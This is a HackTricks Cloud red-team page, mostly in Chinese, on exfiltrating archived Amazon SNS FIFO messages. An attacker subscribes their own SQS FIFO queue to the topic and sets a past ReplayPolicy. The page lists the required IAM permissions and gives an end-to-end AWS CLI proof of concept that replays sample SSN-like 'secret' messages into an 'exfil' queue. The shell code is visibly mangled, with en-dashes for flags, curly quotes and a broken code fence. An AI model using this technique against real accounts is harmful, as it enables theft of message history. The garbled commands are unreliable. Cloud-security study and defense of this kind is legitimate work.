SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
滥用 Amazon SNS FIFO 主题的消息归档,通过在订阅上设置 ReplayPolicy,将先前发布的消息重放并外泄到攻击者控制的 SQS FIFO 队列。
- 服务:Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
- 要求:Topic 必须启用 ArchivePolicy(消息归档)。攻击者可以 Subscribe 到该 topic 并在其订阅上设置属性。攻击者控制一个 SQS FIFO 队列并允许该 topic 发送消息。
- 影响:历史消息(在订阅之前发布的)可以被投递到攻击者端点。重放的投递在 SNS 封包中会被标记为 Replayed=true。
Preconditions
- SNS FIFO topic 已启用归档:
ArchivePolicy(例如{ "MessageRetentionPeriod": "2" }表示 2 天)。 - 攻击者拥有以下权限:
sns:Subscribe在目标 topic 上。sns:SetSubscriptionAttributes在所创建的 subscription 上。- 攻击者拥有一个 SQS FIFO 队列,并能附加允许来自该 topic ARN 的
sns:SendMessage的队列策略。
Minimum IAM permissions
- 在 topic:
sns:Subscribe。 - 在 subscription:
sns:SetSubscriptionAttributes。 - 在 queue:用于策略的
sqs:SetQueueAttributes,以及允许来自 topic ARN 的sns:SendMessage的队列策略。
Attack: Replay archived messages to attacker SQS FIFO
攻击者将其 SQS FIFO 队列订阅到受害者的 SNS FIFO topic,然后将 ReplayPolicy 设置为过去的时间戳(在归档保留窗口内)。SNS 会立即将匹配的归档消息重放到新的订阅,并用 Replayed=true 标记它们。
注意:
ReplayPolicy中使用的时间戳必须 >= 该 topic 的BeginningArchiveTime。如果更早,API 会返回Invalid StartingPoint value。- 对于 SNS FIFO 的
Publish,你必须指定MessageGroupId(并且要么提供去重 ID,要么启用ContentBasedDeduplication)。
端到端 CLI POC (us-east-1)
```bash REGION=us-east-1 # Compute a starting point; adjust later to >= BeginningArchiveTime if needed TS_START=$(python3 - << 'PY' from datetime import datetime, timezone, timedelta print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ')) PY )1) Create SNS FIFO topic with archiving (2-day retention)
TOPIC_NAME=htreplay$(date +%s).fifo
TOPIC_ARN=$(aws sns create-topic –region “$REGION”
–cli-input-json ‘{“Name”:“’”$TOPIC_NAME“‘“,“Attributes”:{“FifoTopic”:“true”,“ContentBasedDeduplication”:“true”,“ArchivePolicy”:“{"MessageRetentionPeriod":"2"}”}}’
–query TopicArn –output text)
echo “Topic: $TOPIC_ARN”
2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
for i in $(seq 1 3); do
aws sns publish –region “$REGION” –topic-arn “$TOPIC_ARN”
–message “{"orderId":$i,"secret":"ssn-123-45-678$i"}”
–message-group-id g1 >/dev/null
done
3) Create attacker SQS FIFO queue and allow only this topic to send
Q_URL=$(aws sqs create-queue –queue-name ht-replay-exfil-q-$(date +%s).fifo
–attributes FifoQueue=true –region “$REGION” –query QueueUrl –output text)
Q_ARN=$(aws sqs get-queue-attributes –queue-url “$Q_URL” –region “$REGION”
–attribute-names QueueArn –query Attributes.QueueArn –output text)
cat > /tmp/ht-replay-sqs-policy.json <<JSON {“Version”:“2012-10-17”,“Statement”:[{“Sid”:“AllowSNSSend”,“Effect”:“Allow”,“Principal”:{“Service”:“sns.amazonaws.com”},“Action”:“sqs:SendMessage”,“Resource”:“$Q_ARN”,“Condition”:{“ArnEquals”:{“aws:SourceArn”:“$TOPIC_ARN”}}}]} JSON
Use CLI input JSON to avoid quoting issues
aws sqs set-queue-attributes –region “$REGION” –cli-input-json “$(python3 - << ‘PY’ import json, os print(json.dumps({ ‘QueueUrl’: os.environ[‘Q_URL’], ‘Attributes’: {‘Policy’: open(‘/tmp/ht-replay-sqs-policy.json’).read()} })) PY )”
4) Subscribe the queue to the topic
SUB_ARN=$(aws sns subscribe –region “$REGION” –topic-arn “$TOPIC_ARN”
–protocol sqs –notification-endpoint “$Q_ARN” –query SubscriptionArn –output text)
echo “Subscription: $SUB_ARN”
5) Ensure StartingPoint is >= BeginningArchiveTime
BEGIN=$(aws sns get-topic-attributes –region “$REGION” –topic-arn “$TOPIC_ARN” –query Attributes.BeginningArchiveTime –output text) START=${TS_START} if [ -n “$BEGIN” ]; then START=“$BEGIN”; fi
aws sns set-subscription-attributes –region “$REGION” –subscription-arn “$SUB_ARN”
–attribute-name ReplayPolicy
–attribute-value “{"PointType":"Timestamp","StartingPoint":"$START"}”
6) Receive replayed messages (note Replayed=true in the SNS envelope)
aws sqs receive-message –queue-url “$Q_URL” –region “$REGION”
–max-number-of-messages 10 –wait-time-seconds 10
–message-attribute-names All –attribute-names All
</details>
## 影响
**潜在影响**: 能够订阅启用了归档的 SNS FIFO 主题并在其订阅上设置 `ReplayPolicy` 的攻击者可以立即重播并 exfiltrate 发布到该主题的历史消息,而不仅限于订阅创建后发送的消息。已投递的消息在 SNS 信封中包含 `Replayed=true` 标志。
> [!TIP]
> 学习和实践 AWS 黑客技术:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> 学习和实践 GCP 黑客技术:<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> 学习和实践 Azure 黑客技术:<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>支持 HackTricks</summary>
>
> - 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
> - **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
>
> </details>
HackTricks Cloud

